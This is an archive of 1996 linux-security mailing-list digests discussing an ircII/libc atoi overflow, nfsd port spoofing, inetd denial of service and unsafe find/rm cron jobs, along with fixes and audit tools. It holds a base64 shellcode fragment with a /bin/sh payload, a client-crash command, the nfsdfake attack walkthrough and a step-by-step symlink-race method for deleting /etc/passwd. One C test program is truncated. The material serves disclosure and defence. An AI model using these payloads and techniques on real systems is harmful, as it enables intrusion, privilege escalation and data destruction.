MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJDrJF6NHoleCzPSiVYHiVYPuBtWNBI1EFY0Eo1OC4vR zYAzwEDNgOjX////L2Jpbi9zaCAyMDQ4IDIwNDgNCn0NCg== - ---1463811780-1085441611-831660434=:485-- ------------------------------ From: lilo Date: Thu, 9 May 1996 12:16:42 -0500 (CDT) Subject: Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 On Thu, 9 May 1996, Synthesizer Punk wrote: > This is an old 'exploit' if you will call it that. I won't provide > specifics, for obvious reasons, but I will say that it uses the client to > client protocol to fake a direct client connection send. I haven't gotten > a chance to really look at it, but I've been testing it on idiots in the > #warez channels (My testing grounds, no one cares what happens to them :P) > and it seems as if it works about 1/5th of the time. Some scripts even > gave me a dirty reply stating (quote) 'Try that backdoor somewhere else > ASSHOLE!'. That one gave me a shock. :) I scanned it over in JED, (8 bit > clean) and I noticed a reference to /bin/sh. If lilo doesn't want to > provide the information, I will. A basic solve would be to ignore all > CTCPs if you find your client is exposed to this: > /ignore * ctcp Problem being that it's been recycled to show a difficulty with libc, even if your client is not susceptible to the original problem (recent ircII doesn't seem to be). The new problem would be a bounds checking problem with libc, it appears, since it is corrected by updating libc. Um, anyone who has to do /ignore * ctcp probably needs to upgrade their client, since ctcp functions are fairly handy things. But that's a separate issue for another time, and probably another venue.... Anyway, I've posted the exploit as an attachment to a previous message. If your client is susceptible to the original backdoor (most aren't at this point), upgrade it. If you are running libc >5.0.0 < 5.3.9 or so, upgrade it. Any information on the character of the libc problem would be appreciated; the irc backdoor is pretty much old hat. lilo ------------------------------ From: lilo Date: Thu, 9 May 1996 12:35:17 -0500 (CDT) Subject: Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 Michael, My apologies for excerpting a bit of your private message, but this seems to be a potential point of confusion, so I wanted to address it on channel. Not implying you were confused, just that it's a good opportunity to address the point. So, my current understanding follows. I'm going to quit posting on this topic, it looks as if everyone's on track and unless something changes I won't have much more to contribute. :) On Thu, 9 May 1996, Michael J Loftis wrote: > I had found that bug early on and tried to report it but to no > avail. I ended up patching it myself instead of waiting for a new > release. I think I'll look at 5.3.12 and see if it still has the bug. There are apparently two bugs here: (1) This exploit was designed to let hackers acquire shell access to systems of users running earlier (possibly modified/scripted) ircII clients. That leak has (apparently) been plugged by recent client code. (2) The exploit has been recycled to demonstrate a problem with libc >5.0.0 and < about 5.3.9. Libc 5.3.12 appears to plug that leak. lilo ------------------------------ From: [email protected] (Alan Cox) Date: Thu, 9 May 96 19:10 BST Subject: [linux-security] Accelerated X , machine crash possible monitor damage attack Software: Accelerated X build 1.2.7 (Caldera Desktop CD) Description: User created .Xaccel.ini files override the system wide one. Users may place statements in the file that cause the priviledged server to crash the machine. It appears that other aspects are handled correctly. symlinks to user unreadable files are not read. Note: This is the same bug fixed in Xfree86 over a year ago. Could someone test Metro-X as well ? Fix: Unknown. Using XFree86 is not open to all Accelerated X users nor desirable for performance reasons on some cards. ------------------------------ From: Pat Trainor Date: Thu, 9 May 1996 19:32:22 -0400 (EDT) Subject: [linux-security] uhh.. security? What way can a sysadmin check all dirs for the proper (or close) permissions and symbolic links for an a> functional system, and b> a secure system? No references I have found to date treat linux security with any more than 3 pages. YET the distributions as installed leave the system wide open.. Any scripts/utils/books/prayers? pat :) [email protected] http://www.title14.com/ "Winning may not be everything, but losing is NOTHING!" -Ed Bighead ------------------------------ From: [email protected] Date: Fri, 10 May 1996 00:31:11 -0500 (CDT) Subject: [linux-security] libc bug exploited through ircII Several posts have been made concerning the libc bug being exploited through ircII clients. This is what I have been able to figure out so far: The bug is *not* in the irc clients, but in libc's atoi() function, which lacks the correct bounds checking. As far as I know, this bug is present in all libc versions after 5.0.0, and was finally fixed in version 5.3.12. The exploit script that has been circulated, screw.irc, was *never* able to provide a shell through the client as far as I can tell. I studied the code, and except for some initial pointers, it turns out to be exactly the same as what was used in egg.c, the exploit for the splitvt bug that most of you will remember. Someone probably put it in there to see if this caused the same kind of vulnerability. *NOTE* None of this code has to be present to be able to crash the client! In fact, it is sufficient to send a DCC send or chat command with a second argument long enough to overflow atio()'s buffer. The limit appears to be 199 characters -- everything above that will cause a segmentation fault and exit the client. Thus, /ctcp dcc send duh <200 0's> 0 and /ctcp dcc chat chat <200 0's> 0 will both crash the client. The second argument is only supposed to consist of no more than 10 digits, so writing a script to prevent this hack is simple: /on ^raw_irc "% PRIVMSG % *DCC % % ???????????* *" { echo Possible libc bug exploit received in DCC $4 from $0 } This will prevent DCC requests with a second argument of 11 characters or more from being processed by ircII, and should do the trick if you happen to be too lazy to update libc. .../zarq Runar Jensen [[email protected]] ------------------------------ From: lilo Date: Fri, 10 May 1996 12:57:41 -0500 (CDT) Subject: Re: [linux-security] libc bug exploited through ircII On Fri, 10 May 1996 [email protected] wrote: > The second argument is only supposed to consist of no more than 10 > digits, so writing a script to prevent this hack is simple: > > /on ^raw_irc "% PRIVMSG % *DCC % % ???????????* *" { > echo Possible libc bug exploit received in DCC $4 from $0 > } > > This will prevent DCC requests with a second argument of 11 characters > or more from being processed by ircII, and should do the trick if you > happen to be too lazy to update libc. But, we know that bounds problems can often be exploited to achieve things like shell access to the account on which they are run. I think if you're too lazy to update libc you're likely to be hit by the second or third generation exploit, and the results may be nastier. It's also likely that exploit will be written against some inetd daemon, rather than ircII. lilo ------------------------------ From: Chris Farris Date: Fri, 10 May 1996 15:51:48 -0400 (EDT) Subject: [linux-security] Inetd problem -followup Forwarded message: > Chris Farris wrote: > > > > If you send these services the "SYN" packet and then reset the connection > > before the connection is open, it will cause inetd to die completely. > > Does anyone know whether xinetd is vulnerable to the same sort of attacks? > > If not, it should be considered as a more secure inetd replacement. > Unfortunately the configurations files are slightly different. Our stealth scan code does _not_ break xinetd. I still would be careful about having unused services present. As Alan Cox mentioned, chargen/echo could be spoofed into a nasty "network food fight". Apologies for not posting versions before. The affected kernels I tested this against were 1.3.64, 1.3.99, 1.2.13, and 1.2.1. The version of inetd is, the version(s) included with slackware 2.2 and 3.0. Question: Would you, recommend for/against running sendmail from xinetd? The example xinetd.conf file had an entry for sendmail, but my belief always was sendmail had a large startup cost, so it was better to always keep it running. And how would sendmail know how to process the queue after a specified interval? Thanks Chris - -- Chris Farris | Voice: (404)252-7270 Internet Security Systems, Inc. | Fax: (404)252-2427 Ste. 115, 5871 Glenridge Dr, | www: http://www.iss.net/ Atlanta, GA 30328 | Email: [email protected] 1st rule of computer security: What You Don't See Is What Gets You ------------------------------ End of linux-security-digest V2 #20 *********************************** linux-security-digest/v02.n021100664 1767 1767 27743 6147550603 15456 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #21 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 19 May 1996 Volume 02 : Number 021 Re: [linux-security] Denial of service in inetd Re: [linux-security] uhh.. security? Re: [linux-security] uhh.. security? [linux-security] Patch for ytalk-3.2 [linux-security] atoi et al Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 Re: [linux-security] uhh.. security? Re: [linux-security] libc bug exploited through ircII Re: [linux-security] uhh.. security? Re: [linux-security] uhh.. security? ---------------------------------------------------------------------- From: [email protected] (Jacob Langseth) Date: Fri, 10 May 1996 18:37:41 -0400 (EDT) Subject: Re: [linux-security] Denial of service in inetd | always keep it running. And how would sendmail know how to process the | queue after a specified interval? If you're invoking sendmail via inetd, you must also have a cronjob invoke sendmail every 15m/1hr/whatever to process the queue. But then again, if you're not going to try to save CPU cycles by not running sendmail directly, you might as well run smap and smapd, which has a hell of a lot less overhead then sendmail, and is much more secure. _jwl - -- Jacob Langseth | Meddle not in the affairs of dragons, for (Musashi) | thou art crunchy and go well with ketchup _ =---------------+-----+--------------------------------------+ [email protected] | Finger for PGP key ..................| ------------------------------ From: Bill D Date: Fri, 10 May 1996 22:05:24 -0400 (EDT) Subject: Re: [linux-security] uhh.. security? On Thu, 9 May 1996, Pat Trainor wrote: > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? I'd suggest the COPS package, available for ftp from CERT (sorry, don't have an exact sitename). [Mod: ftp://ftp.cert.org/pub/cops/. The CERT archive is also mirrored here nightly at ftp://linux.nrao.edu/pub/security/CERT/. --Jeff] It checks all directories and system files, as well as user files like .forward, .profile, and .cshrc for world writeability or other hazardous conditions, plus it will also try to see if the root account (or other privileged accounts that you specify) can be cracked by manipulation of things like file permissions and world writeability of files. Bill - -- [email protected] [email protected] (Bill Duetschler) "Yesterday, apropos of nothing, one friend said to me 'Do you ever have days where you just want to get everyone you know together in one place, have them all take off their clothes, and let nature take its course?'" - --Susan Groppi ------------------------------ From: [email protected] (Wietse Venema) Date: Sat, 11 May 96 13:05:48 MET DST Subject: Re: [linux-security] uhh.. security? Pat Trainor wrote: > > > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? The tiger program (ftp://net.tamu.edu/pub/security/TAMU/) does a very thorough check of file permissions and ownerships. It is particularly paranoid about anything in root's path, including pathnames embedded in binaries, in config files, in cron jobs, and in scripts. It can generate many MBs of output when run in full-blast mode. Wietse ------------------------------ From: Douglas Song Date: Thu, 9 May 1996 22:10:37 -0400 (EDT) Subject: [linux-security] Patch for ytalk-3.2 Someone recently sent me a hacked ytalk client that spoofed the caller's username, pretty lame. This is a patch to ytalk-3.2 to do detect such spoofs via IDENT; really an abuse of the protocol, but what the heck. One lame hack deserves another. *** comm.c Thu May 9 21:35:50 1996 - --- comm.c.dug Thu May 9 21:33:41 1996 *************** *** 601,606 **** - --- 601,622 ---- show_error("connect_user: bad read"); return; } + #ifdef USE_IDENT + { + char *ident = '\0'; + + ident = ident_id(fd, 10); + + if (ident == '\0') { + strcat(user->full_name," (unverified)"); + } + else if (strncmp(user->user_name, ident, NAME_SIZE) != 0) { + strcat(strcpy(user->full_name, user->user_name), "("); + strncat(user->full_name, ident, NAME_SIZE); + strcat(strcat(user->full_name, ")@"), user->host_name); + } + } + #endif /* USE_IDENT */ if(open_term(user, user->full_name) < 0) { free_user(user); *** header.h Thu May 9 21:35:44 1996 - --- header.h.dug Thu May 9 21:33:14 1996 *************** *** 31,36 **** - --- 31,39 ---- #ifdef USE_X11 # include #endif + #ifdef USE_IDENT + #include + #endif #define VMAJOR 3 /* major version number */ #define VMINOR 0 /* minor version number */ *** Imakefile Thu May 9 21:35:36 1996 - --- Imakefile.dug Thu May 9 21:41:11 1996 *************** *** 30,39 **** #SLIBS = -lsun # ! # If you are on a sun running solaris 2.* you might need to uncomment the ! # following line. #SLIBS = -lnsl -lsocket # # If your machine has a 64-bit architecture or uses 64-bit 'long's, then you - --- 30,40 ---- #SLIBS = -lsun # ! # If you are on a sun running solaris 2.* you need to uncomment the ! # following lines. #SLIBS = -lnsl -lsocket + #SDEFS = -DSYSV # # If your machine has a 64-bit architecture or uses 64-bit 'long's, then you *************** *** 56,66 **** Y_BINDIR = /usr/local/bin Y_MANDIR = /usr/local/man/man1 ############################################################ ## Past this point, you shouldn't need to modify anything ## ############################################################ ! LIB = -lcurses -ltermcap $(SLIBS) $(XLIB) ! DEFINES = -DUSE_X11 -I/usr/local/include $(TDEFS) $(BDEFS) $(RCDEF) LDFLAGS = $(LDOPTIONS) OBJ = main.o term.o user.o fd.o comm.o menu.o socket.o rc.o exec.o cwin.o \ xwin.o - --- 57,79 ---- Y_BINDIR = /usr/local/bin Y_MANDIR = /usr/local/man/man1 + # + # Uncomment the and edit the following if you want ytalk to check + # the caller's name against the info given by his IDENT daemon. This + # is an abuse of the protocol, but oh well. Not everyone runs Zephyr. + # libident available from ftp://ftp.lysator.liu.edu/pub/ident/libs + + #IDEFS = -DUSE_IDENT + #ILIB = -L/usr/local/lib -lident + #IINC = -I/usr/local/include + + ############################################################ ## Past this point, you shouldn't need to modify anything ## ############################################################ ! LIB = -lcurses -ltermcap $(SLIBS) $(XLIB) $(ILIB) ! DEFINES = -DUSE_X11 -I/usr/local/include $(IINC) $(IDEFS) $(SDEFS) \ ! $(TDEFS) $(BDEFS) $(RCDEF) LDFLAGS = $(LDOPTIONS) OBJ = main.o term.o user.o fd.o comm.o menu.o socket.o rc.o exec.o cwin.o \ xwin.o ------------------------------ From: "Dave G." Date: Fri, 10 May 1996 14:49:25 -0400 (EDT) Subject: [linux-security] atoi et al I have done some playing around with this, and while I am able to get ircII 2.8.2 w/ libc 5.0.9 to give a bus error, I have not been able to get atoi() to crash in any way. Can you or anyone else please confirm that it is atoi()? Theoretically, this should cause a segmentation fault on any system with a buggy atoi(): - --- /* This program is silly, and was written with my mail editor. I do not garuntee anything, and if you use it somewhere let me know, and please strip my name out first :) Dave G. */ #include #define BIGNUMBER 300 main() { char big_hairy_lobster[BIGNUMBER]; int i; for (i=0;i Date: Fri, 10 May 1996 15:19:15 -0400 (EDT) Subject: Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 On Thu, 9 May 1996, lilo wrote: > Um, anyone who has to do /ignore * ctcp probably needs to upgrade their > client, since ctcp functions are fairly handy things. But that's a separate > issue for another time, and probably another venue.... /ignore * ctcp isn't always the best way to solve it, but if you are being attacked before you have a chance to upgrade libc or compile a new ircII client, it's a good sheild against repetetive abusers. ------------------------------ From: Kurt Hockenbury Date: Fri, 10 May 1996 17:15:55 -0400 (EDT) Subject: Re: [linux-security] uhh.. security? On Thu, 9 May 1996, Pat Trainor wrote: > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? Well, once you have the permissions set up the way you want them, you can use tripwire (available from ftp.cert.org) to make sure that they and your programs remain intact. It would be nice if some of the distributions could ship with tripwire and a tripwire database. symlinks will check for dangling symlinks, and some other stuff. Site1 =tsx-11.mit.edu Path1 =/pub/linux/sources/usr.bin Site2 =sunsite.unc.edu Path2 =/pub/Linux/utils/file File1 =symlinks-1.0.tar.gz -Kurt ------------------------------ From: Robin Thellend Date: Fri, 10 May 1996 21:51:39 -0400 (EDT) Subject: Re: [linux-security] libc bug exploited through ircII On Fri, 10 May 1996 [email protected] wrote: > /on ^raw_irc "% PRIVMSG % *DCC % % ???????????* *" { > echo Possible libc bug exploit received in DCC $4 from $0 > } This will block pretty much all DCC requests because ? can match a space just as well as a digit. You'd better use something like that: /on ^raw_irc "% PRIVMSG % ^ADCC % % ????????????????????????????????????*" \ echo Possible libc bug exploit received in DCC $4 from $0 (^A being ctrl-A) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Robin Thellend (seks@irc) 3rd yr Comp.Eng. Student Ecole Polytechnique de Montreal, Quebec, Canada PGP public key: finger -l [email protected] If computers get too powerful, we can organize them into a committee -- that will do them in. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ------------------------------ From: Barry Caplin Date: Fri, 10 May 1996 21:31:22 -0500 (CDT) Subject: Re: [linux-security] uhh.. security? Hi, > > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? > > No references I have found to date treat linux security with any > more than 3 pages. YET the distributions as installed leave the system > wide open.. > > Any scripts/utils/books/prayers? I have a number of security related links on my isp web page, www.mtiweb.net/isp. While not specifically linux, I got alot of good advice from a document at the Navy Research Labs http://hightop.nrl.navy.mil. Barry Barry Caplin MicroWEB Technology, Inc. [email protected] http://www.mtiweb.net ------------------------------ From: Jerry Champlin Date: Sat, 11 May 1996 10:59:48 -0500 (CDT) Subject: Re: [linux-security] uhh.. security? On Thu, 9 May 1996, Pat Trainor wrote: > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? > Any scripts/utils/books/prayers? > I'd put this one in the prayer category, but it's a start. ftp.auscert.org.au:/pub/coast/tools/unix/permissions.tar.gz Have Fun - -Jerry ------------------------------ End of linux-security-digest V2 #21 *********************************** linux-security-digest/v02.n022100664 1767 1767 67322 6151641427 15454 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #22 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 25 May 1996 Volume 02 : Number 022 [linux-security] SO_REUSEADDR Re: [linux-security] SO_REUSEADDR [linux-security] running a shadowed system with NYS ? Re: [linux-security] SO_REUSEADDR Re: [linux-security] SO_REUSEADDR Re: [linux-security] SO_REUSEADDR [linux-security] Things NOT to put in root's crontab Re: [linux-security] Things NOT to put in root's crontab ---------------------------------------------------------------------- From: Sam Mortimer Date: Sat, 18 May 1996 20:10:55 +0100 (BST) Subject: [linux-security] SO_REUSEADDR Doesn't rpc.nfsd want _NOT_ to set SO_REUSEADDR to stop users on the server from running their own nfs server and thereby effectively gaining root on all client machines? eg. At home, if I start the nfs server as root and mount something (anything), then as any non-root user I can start my own nfsd which has been modified so getattr() checks pathnames for the substring "xyz" and if it exists returns attrs with the owner of the file set to root.....etc. Is there a *good* reason why nfsd sets SO_REUSEADDR, or is it just so that it can be debugged more easily? - -Sam. PS Read the thread titled `bind() Security Problems' in the Feb '96 linux-security archives for background information. ------------------------------ From: [email protected] (Alan Cox) Date: Mon, 20 May 1996 10:24:48 +0100 (BST) Subject: Re: [linux-security] SO_REUSEADDR > Doesn't rpc.nfsd want _NOT_ to set SO_REUSEADDR to stop users on > the server from running their own nfs server and thereby effectively > gaining root on all client machines? Definitely. > Is there a *good* reason why nfsd sets SO_REUSEADDR, or is it just > so that it can be debugged more easily? No ------------------------------ From: Cristian Gafton Date: Mon, 20 May 1996 12:00:26 +0300 (EET DST) Subject: [linux-security] running a shadowed system with NYS ? Hello, I'd appreciate if someone have a pointer to a security-related document on running NYS on a network with shadowed passwords. It is obvious that one can't distribute the shadow map over NYS from the ypserv-er... So, what's the trick ? Cristian Gafton Cristian Gafton, SysAdm [email protected] - ------------------------------------------------------------------- Computers & Communications Center str. Moara de Foc nr. 35 Phone: 40-32-252936, 252938 PO-BOX 2-549 Fax: 40-32-252933 IASI 6600, ROMANIA =================================================================== Good code is hard to write, so it must be hard to understand. ------------------------------ From: Olaf Kirch Date: Mon, 20 May 1996 19:11:27 +0200 Subject: Re: [linux-security] SO_REUSEADDR On Sat, 18 May 1996 20:10:55 BST, Sam Mortimer wrote: > > Doesn't rpc.nfsd want _NOT_ to set SO_REUSEADDR to stop users on > the server from running their own nfs server and thereby effectively > gaining root on all client machines? Right. That's an oversight on my part. A corrected version is now available on ftp.mathematik.th-darmstadt.de:/pub/linux/okir. Another security-related problem that came to my attention just a few days ago is that the read_only export flag would not work properly for the latest one or two versions. The new release fixes that as well, hopefully. Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: Oliver Friedrichs Date: Mon, 20 May 1996 13:36:05 -0500 (CDT) Subject: Re: [linux-security] SO_REUSEADDR On Sat, 18 May 1996, Sam Mortimer wrote: > eg. At home, if I start the nfs server as root and mount something > (anything), then as any non-root user I can start my own nfsd which has > been modified so getattr() checks pathnames for the substring "xyz" and if > it exists returns attrs with the owner of the file set to root.....etc. Right, infact I wrote an exploit for this back in January, here's the readme. nfsdfake 1.1 A simple example of how to take advantage of the bind() security problem. We can bind to arbitrary unprivileged ports which are already bound to INADDR_ANY, if we bind to a specific address. In other words we can setup our own NFS server on port 2049, and send our own replies to NFS requests from the server. In this example we run a shell as other users on the client, by sending responses to the client making it think it's running a setuid program. This will only work if the client has mounted the remote filesystem as setuid. Generally what happens is as follows: We run a program on the mounted filesystem: Client does a NFSPROC_LOOKUP to the server and asks for attributes for 'nfsbites'. We send a reply, which gives the filehandle, file permissions (setuid), etc. Now the client does the actual reading of the binary via NFSPROC_READ, and in turn we send our binary to the client to execute a setuid shell. client ~~~~~ client:~$ /mnt2/nfsbites client:~# server ~~~~~ server:~$ ./nfsdfake 2049 localhost ./shell 0 0 bound to 127.0.0.1 (2049) NFSPROC_LOOKUP: nfsbites NFSPROC_READ: offset 0, count: 1024,totalcount 1024 NFSPROC_READ: offset 0, count: 1024,totalcount 1024 NFSPROC_READ: offset 1024, count: 1024,totalcount 1024 NFSPROC_READ: offset 2048, count: 1024,totalcount 1024 We make sure to only reply to requests for our own binary, since we could really mess up other clients otherwise. We just ignore other requests, since you should be able to pull this off in under a couple seconds, it doesn't really matter, as the real clients will keep trying. This has been tested on SunOS 4.1.x, Linux, Solaris, AIX, *BSD* and should work on any systems supporting RPC. On Solaris we need to compile our own rpc library as there appears to be a bug in the RPC library. svcudp_create calls TLI routines which fail on a call to t_sync (as it expects a TLI transport endpoint) - and the corresponding TLI t_bind routine will NOT let us bind when the real nfsd is already bound. If a file system is mounted nosuid, we may still be able to subvert some other program which the system or another user runs. Usually if a filesystem hasn't been used within a timeout period, the client does a NFSPROC_GETATTR on the root directory first, so try running some dummy command on the filesystem before loading the fake daemon. Also supports sending device files, another good reason for mounting nosetuid/nodev. - - Oliver ------------------------------ From: Zygo Blaxell Date: Tue, 21 May 1996 11:32:44 -0400 (EDT) Subject: Re: [linux-security] SO_REUSEADDR Quoted from Sam Mortimer: > eg. At home, if I start the nfs server as root and mount something > (anything), then as any non-root user I can start my own nfsd which has > been modified so getattr() checks pathnames for the substring "xyz" and if > it exists returns attrs with the owner of the file set to root.....etc. Injecting symlinks to files on the client's local disk would allow you to exploit any privileged users using the NFS mounts by fooling them into clobbering system files. You can of course receive anything the client writes and send whatever you like when it reads. If the client has mounted NFS filesystems with something less than 'nosuid,nodev,noexec' in the mount flags, then the client deserves what it gets. There's a network in between the two, and NFS protocol has no authentication, so even if the real server were running it would still be possible to attack the client, although without this particular bug it's a little harder. I mount everything but the root partition with 'nodev,nosuid,noexec' in the mount flags. This includes floppies and CDROMs (removable media containing a user-supplied filesystem--Ewww!), non-root/boot hard disks (if you don't have device files in /home, then why enable support for them?), and especially NFS. NFS is pretty bad stuff anyway. I've found that it's usably useful as a read-only data-sharing protocol, if you remove the set*id() code in the daemon, chroot() it, run it as non-root, remove support for writes, and have the clients mount it nodev/nosuid/noexec/ro. Even then, you have to have educated users on the client, because even seemingly harmless actions like using 'vim' to read a text file on the NFS mount can be exploited by a malicious server to overwrite the innocent user's files (in this case, with the .swp file generated by 'vim'). Is there a Linux implementation of AFS? There *has* to be a better way... - -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong ------------------------------ From: Zygo Blaxell Date: Tue, 21 May 1996 13:10:36 -0400 (EDT) Subject: [linux-security] Things NOT to put in root's crontab Sigh. Here are several things I've just removed from /etc/crontab on every RedHat Linux system I can get my hands on. They contain security holes related to the use of 'find' and 'rm' to expire old files in /tmp and other places. It seems that awareness of this type of security problem is rather low, so I'll explain the class of problem and how to fix it. >From Redhat's /etc/crontab file: ># Remove /var/tmp files not accessed in 10 days >43 02 * * * root find /var/tmp/* -atime +3 -exec rm -f {} \; 2> /dev/null > ># Remove /tmp files not accessed in 10 days ># I commented out this line because I tend to "store" stuff in /tmp ># 41 02 * * * root find /tmp/* -atime +10 -exec rm -f {} \; 2> /dev/null > ># Remove formatted man pages not accessed in 10 days >39 02 * * * root find /var/catman/cat?/* -atime +10 -exec rm -f {} \; 2> /dev/null > ># Remove and TeX fonts not used in 10 days >35 02 * * * root find /var/lib/texmf/* -type f -atime +10 -exec rm -f {} \; 2> /dev/null Folks, do NOT use 'find' on a public directory with '-exec rm -f' as root. Period. Ever. Delete it from your crontab *now* and finish reading the rest of this message later. * PROBLEM DISCUSSION AND EXPLOITATION The immediate security problem is that 'rm' doesn't check that components of the directory name are not symlinks. This means that you can delete any file on the system; indeed, with a little work you can delete *every* file on the system, provided that you can determine the file names (though you might be limited to deleting files more than ten days old). First, create the directories and file: /tmp/hacker-fest/some/arbitrary/set/of/path/names/etc/passwd where all but the last component is a directory. Be ready to replace 'etc' with a symlink to '/etc', so that: /tmp/hacker-fest/some/arbitrary/set/of/path/names/etc -> /etc i.e. the path components of the file name will point to a file named 'passwd' in a different directory. If the replacement operation occurs between when 'find' sets {} to "/tmp/hacker...etc/passwd" and when 'rm' calls unlink on "/tmp/hacker...etc/passwd", then rm will in fact delete '/etc/passwd', and not a file in /tmp. Deleting other files is left as an exercise. The race condition is really easy to win. Create a directory with 400 path components, like this: /tmp/hacker-fest/a/a/a/a/a/a/a.../a/a/a/etc/passwd (1) Then arrange for each of the 'a' components to be a symlink to a directory somewhere near the bottom of a similar tree. For example, /tmp/hacker-fest/a could be a symlink to /tmp/hacker-fest/b/b/b/b/b/b/b/b/b/.../b/b/b/b/b/b/a which could be a symlink to /tmp/hacker-fest/c/c/c/c/c/c/.../c/c/c/c/c/c/c and so on. In fact, *each* path component can be a symlink up to about 8 levels or so. Any operation such as stat(), open(), lstat(), etc. on one of these pathnames will cause the kernel to follow each and every symlink. The difference between lstat() and stat() in this case is that lstat() will not follow the *last* symlink. This will make lstat() and friends *extremely* slow, on the order of several *minutes* per lstat() operation, because each lstat() is now reading in several thousand inodes and disk blocks. If you fill each directory with several hundred entries, then create the entry you want, then delete the others, you force the kernel to waste its time reading kilobytes of empty directory blocks--in fact, you can make one stat() or unlink() operation read almost the entire disk in an order designed to maximize disk head motion if you know what you're doing. If you have an NFS, CDROM, or floppy-disk filesystem handy, you can get *weeks* per lstat(). Of course, 'find' will normally see the first symlink and stop. To prevent this, you rename the original directory (at (1) above) and create another directory with the same name and about 5000 empty files, some of which have the same name as files you want to delete. Note that these 5000 empty files can all be hard links to the same file, to save precious inodes for more of those symlinks. 'find' will spend considerable time iterating through these 5000 files. When it does (you'll be able to tell because the atime of the directory changes as find reads it), put the directory with the millions of symlinks at (1) back with a couple of rename operations. Some versions of 'find' will not be adversely impacted by this, but 'rm' definitely will. It is usually sufficient to simply create the 400-component-long directory, put 5000 files in it, wait for the atime of the directory to change, then do the rename so that 'rm' follows a symlink. I used this technique to remove /etc/crontab as a test case. If you have: /tmp/hacker-fest/a/a/a/a/a/.../a/etc/passwd (and 5000+ other files) /tmp/hacker-fest/a/a/a/a/a/.../a/usr where 'usr' is a symlink to '/usr', you can get some implementations of find to start recursing through /usr as well. * OTHER PROBLEMS WITH THIS CRONTAB A user can set the atime of any file they own to an arbitrary value, and that programs like zip, tar, and cpio will do this for you automatically; this makes 'atime' an almost useless indicator of when a file was last used ('mtime' has the same problem). Either the file will be deleted too early, because it was extracted from an archive using a program that preserves timestamps, or users can set the atime to well into the future and use /tmp space indefinitely. The later of ctime (to detect writes) and atime (to detect reads; must check that atime is not in the future) is a good indicator of when a file was last used. Miscellaneous bugs: the use of '*' means that files in a directory named '.foo' will never be cleaned (and you can prevent 'find' from working at all by putting more than 1020 files in /tmp). There are subdirectories of /var/catman that aren't properly handled by the 'find' command given (local and X11). You can't delete a directory with 'rm -f'. In other words, not only is RedHat's /etc/crontab a major security hole, it doesn't actually work properly, either. :( * FIXES The easiest way to fix this is to get rid of the find/rm stuff completely. If you need a garbage collector, try our LRU garbage collection daemon at the URL given below. Adding a system call that sets a flag that prevents a process from being able to ever follow a symlink would be non-portable, but efficient and effective. The next easiest way to fix this is to replace 'rm' with a program that does not follow symlinks. It must check that each filename component in turn by doing an lstat() of the directory, chdir() into the directory, and further lstat()s to check that the device/inode number of '.' is the same as the directory's device/inode number before chdir(). The parameter of the 'unlink' or 'rmdir' system call must not contain a slash; if it does, then the directory name before the slash can be replaced by a symlink to a different directory between verification of path components and the actual unlink() call. Another way to fix this is with a smarter version of find. A smart find does the chdir() and lstat() checks to make sure that it never crosses a symlink, and calls the program in 'exec' using a filename with no directory components, relative to the current directory. Thus, to delete: /tmp/hacker-fest/a/a/a/a/a/.../etc/passwd find first carefully (checking for attempts to exploit race conditions before and *after* each chdir()) chdir()s into /tmp/hacker-fest/a/a/a/a/a/.../etc and will fail if any of the components is a symlink, plugging the hole described above. After verifying that the '.../etc' is really a subdirectory of /tmp, and not some random point on the filesystem, find exec's the command: rm -f ./passwd which is secure as long as '.' isn't in your PATH. Note the leading './' to prevent rm from interpreting the filename as a parameter. Note: this is in *addition* to the checks that find already makes to determine whether a file is a symlink *before* chdir()ing into it. It must make sure that components of the path that have *already* been tested are not replaced with symlinks or renamed directories *after* find has started processing subdirectories of them. Note that the 'smart' find without the post-chdir symlink tests won't work. While smart-find is processing: /tmp/hacker-fest/a/a/a/a/* you can rename /tmp/hacker-fest/a/a/a/a to /tmp/hacker-fest/a/a/b (note: one less pathname component) and eventually smart-find will 'cd ..', but since the current directory of find has moved, '..' will move as well, and eventually smart-find will be one level too high and can start descending into other subdirectories of '/'. To help this along you may need to create: /tmp/hacker-fest/usr /tmp/hacker-fest/var etc. * SAFE LRU GARBAGE COLLECTION Our LRU /tmp garbage collector daemon is available at . It is implemented in perl5. It depends on a Linux-specific 'statfs()' system call to monitor available free space, so non-Linux people will need to do a port (send me patches and I'll incorporate them). Our garbage collector: handles 